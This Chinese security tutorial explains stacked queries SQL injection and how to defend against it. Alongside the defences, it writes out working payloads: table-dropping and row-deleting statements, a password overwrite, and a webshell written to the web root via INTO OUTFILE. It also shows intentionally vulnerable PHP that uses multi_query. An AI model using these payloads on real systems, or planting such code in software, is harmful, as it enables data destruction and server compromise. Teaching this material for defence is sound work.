堆叠注入(Stacked Queries Injection)详解:原理、利用与防御

1. 引言

堆叠注入(Stacked Queries Injection)是 SQL 注入家族中一种较为特殊且危险的攻击手法。与普通 SQL 注入只能执行单条查询不同,堆叠注入允许攻击者在同一个数据库连接中执行多条 SQL 语句,从而获得更强的控制能力。本文将深入讲解堆叠注入的原理、触发条件、利用方式以及防御措施,帮助读者全面理解这一安全威胁。

2. 什么是堆叠注入

堆叠注入,英文全称为 Stacked Queries Injection,其核心思想是利用数据库驱动或中间件对多条 SQL 语句的支持,通过在原有查询语句后拼接额外的 SQL 语句,实现一次请求执行多条命令的效果。

在典型的 Web 应用中,后端代码通常会这样拼接 SQL:

sql 复制代码
SELECT * FROM users WHERE id = '1'

如果应用未对用户输入做任何过滤,攻击者传入 1'; DROP TABLE users; --,最终拼接成的语句为:

sql 复制代码
SELECT * FROM users WHERE id = '1'; DROP TABLE users; --'

当数据库支持一次执行多条以分号分隔的语句时,第二条 DROP TABLE users 就会被执行,造成严重破坏。

3. 堆叠注入与普通 SQL 注入的区别

理解堆叠注入的关键在于区分它与普通 SQL 注入的差异:

对比维度 普通 SQL 注入 堆叠注入
执行语句数量 单条 多条
分隔符 无(利用语法闭合) 分号 ;
影响范围 查询、数据读取 增删改查、DDL、甚至命令执行
利用难度 相对较低 较高(受环境限制)
典型后果 数据泄露 数据破坏、提权、写马

普通 SQL 注入通常只能影响当前正在执行的这一条查询语句,而堆叠注入通过分号将多条语句串联,攻击者可以执行任意类型的 SQL 命令,包括 INSERT、UPDATE、DELETE、DROP 等。

4. 堆叠注入的触发条件

并非所有数据库环境都支持堆叠注入,其成功利用需要满足以下几个条件:

4.1 数据库驱动支持多语句执行

这是最核心的条件。不同的数据库驱动对多语句的支持情况不同:

  • PHP + MySQL(mysqli) :mysqli_multi_query() 支持多语句执行,存在堆叠注入风险。
  • PHP + MySQL(PDO) :默认情况下 PDO 不支持多语句,但若设置了 PDO::MYSQL_ATTR_MULTI_STATEMENTS 为 true,则存在风险。
  • Java + JDBC:默认不支持多语句,但某些驱动配置下可以开启。
  • Python + pymysql :pymysql 默认支持多语句,需要显式关闭。

4.2 数据库本身支持多语句

大多数主流数据库(如 MySQL、PostgreSQL、SQL Server)本身支持在一条预处理语句中执行多条以分号分隔的 SQL。但某些数据库(如 Oracle)默认不支持这种写法,限制了堆叠注入的利用。

4.3 代码未对输入进行过滤

应用层未对用户输入进行参数化查询或过滤,直接将用户输入拼接到 SQL 语句中,这是堆叠注入能够发生的前提。

5. 堆叠注入的利用方式

5.1 数据破坏

攻击者最常用的手法是执行破坏性语句:

sql 复制代码
1'; DROP TABLE users; --
sql 复制代码
1'; DELETE FROM orders; --

5.2 数据篡改

攻击者可以修改数据,例如将某个用户的密码重置:

sql 复制代码
1'; UPDATE users SET password = 'hacked' WHERE id = 1; --

5.3 写入文件(GetShell)

在 MySQL 中,如果攻击者拥有 FILE 权限,可以通过堆叠注入写入 WebShell:

sql 复制代码
1'; SELECT '<?php eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; --

5.4 调用存储过程

某些数据库支持在堆叠注入中调用存储过程,扩大攻击面:

sql 复制代码
1'; CALL malicious_procedure(); --

6. 堆叠注入的实战示例

下面以一个简单的 PHP 代码为例,演示堆叠注入的完整攻击流程。

6.1 存在漏洞的代码

php 复制代码
<?php
$mysqli = new mysqli("localhost", "root", "password", "test");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = $mysqli->query($sql);
?>

注意:这里使用了 query() 方法,在 mysqli 中该方法默认只执行单条语句,因此上述代码实际上并不存在堆叠注入漏洞。真正存在漏洞的写法是使用 multi_query():

php 复制代码
<?php
$mysqli = new mysqli("localhost", "root", "password", "test");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = $mysqli->multi_query($sql);
?>

6.2 攻击过程

攻击者构造请求:

http 复制代码
GET /user.php?id=1'; INSERT INTO logs (content) VALUES ('pwned'); -- HTTP/1.1

最终执行的 SQL 为:

sql 复制代码
SELECT * FROM users WHERE id = '1'; INSERT INTO logs (content) VALUES ('pwned'); --'

第一条语句正常查询用户,第二条语句则向日志表插入了一条恶意记录,两条语句在同一连接中依次执行。

7. 堆叠注入的防御措施

7.1 使用参数化查询(PreparedStatement)

参数化查询是防御 SQL 注入(包括堆叠注入)最有效的手段:

java 复制代码
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setString(1, userId);
ResultSet rs = ps.executeQuery();
php 复制代码
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();

7.2 关闭多语句支持

在数据库驱动层面关闭多语句执行能力:

php 复制代码
// PDO 关闭多语句
$pdo = new PDO($dsn, $user, $pass, [
    PDO::MYSQL_ATTR_MULTI_STATEMENTS => false
]);
python 复制代码
# pymysql 关闭多语句
conn = pymysql.connect(host='localhost', user='root', password='pass', db='test', client_flag=0)

7.3 最小权限原则

数据库账号应遵循最小权限原则,避免使用 root 或高权限账号连接应用数据库。即使发生堆叠注入,攻击者也无法执行 DROP、FILE 等高危操作。

7.4 输入验证与过滤

对用户输入进行严格的类型校验和白名单过滤,例如 ID 参数强制为整数类型:

php 复制代码
$id = (int)$_GET['id'];

7.5 Web 应用防火墙(WAF)

部署 WAF 可以拦截常见的堆叠注入攻击载荷,拦截分号 ; 及危险关键字(如 DROP、DELETE、INTO OUTFILE 等)。

8. 总结

堆叠注入是 SQL 注入中危害较大的一种形式,它突破了单条语句的限制,使攻击者能够执行任意 SQL 命令。其成功利用高度依赖数据库驱动对多语句的支持,因此在防御时,关闭多语句支持、使用参数化查询、遵循最小权限原则是三道最关键的防线。对于安全开发者而言,理解堆叠注入的原理与触发条件,是构建安全 Web 应用的重要基础。

相关推荐
艾芯微科技1 小时前
钰泰 ETA5055V330DD1E|SOT-223 3.3V LDO,低压差、大电流线性稳压选型分享
网络·单片机·嵌入式硬件·集成测试·51单片机
bigcarp1 小时前
安卓模拟器MUMU+tcpdump抓包Socket协议流量
服务器·网络·tcpdump
是个西兰花1 小时前
TCP套接字编程实战:从服务器搭建到多进程处理
服务器·网络协议·tcp/ip
ClouGence1 小时前
数据库迁移工具 CloudCanal v6.5.0.0 发布:新增 TDSQL PostgreSQL 多条链路,支持 MongoDB 双向同步
数据库·mysql·mongodb
AIGS0012 小时前
从814张表到250个本体:本体建模在做什么
数据库·excel·erp·数据中台·智能问数·本体语义·企业大脑
zhangzeyuaaa2 小时前
Ruby `require` 完全指南:从 `$LOAD_PATH` 到 `require_relative`
服务器·前端·ruby
fengkai45452 小时前
十二、Redis -1
运维·数据库·redis
懂点Tech3 小时前
ctfshow MISC入门图片篇(信息附加):misc11解题思路
网络
这个DBA有点耶3 小时前
Change Buffer深入:二级索引写入的隐形加速器与它的代价
数据库·mysql·代码规范